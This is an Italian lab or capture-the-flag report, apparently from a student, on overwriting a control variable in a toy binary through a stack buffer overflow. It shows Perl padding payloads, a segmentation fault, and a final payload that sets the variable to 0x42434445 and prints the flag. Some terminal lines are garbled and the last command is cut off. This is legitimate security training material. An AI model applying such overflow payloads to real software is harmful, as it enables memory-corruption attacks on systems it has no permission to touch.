## Report

## Riscrivere una variabile

• Paylod e screenshot che dimostra la capacità di sovrascrivere la variabile:

```
-(kali®kali)-[~/Desktop/rewrite_var]
-$ ./write_var ciao
control must be: 0×42434445 now is 3039
 -(kali®kali)-[~/Desktop/rewrite_var]
_$ ./write_var $(perl -e 'print "A"x20')
control must be: 0×42434445 now is 3039
ΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑ
 -(kali®kali)-[~/Desktop/rewrite_var]
control must be: 0×42434445 now is 3039
ΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑ
 -(kali®kali)-[~/Desktop/rewrite_var]
control must be: 0×42434445 now is 3039
SEC{try_harder}
ΑΑΑΑΑΑΑΑΑΑΑΑΑΑΑ
```

 Inserendo valori di piccole dimensioni non si riesce a modificare il valore della variabile ma alzando il numero di valori in input di ottiene:

```
(kali@ kali)-[~/Desktop/rewrite_var]
$ ./write_var $(perl -e 'print "A"x10000')
control must be: 0×42434445 now is 41414141
zsh: segmentation fault ./write_var $(perl -e 'print "A"x10000')
```

 Dopo vari tentativi per approssimare l'indirizzo preciso della variabile ottengo un exploit finale:

```
(kali⊛kali)-[~/Desktop/rewrite_var]
___$ ./write_var $(perl -e 'print "A"x1324,"
control must be: 0×42434445 now is 42434445
SEC{thisistherightflagidiot!}
^{1}
^{4}
AAAAAAAAAAAAAAAAAAAAAAAAAAAEDCB
```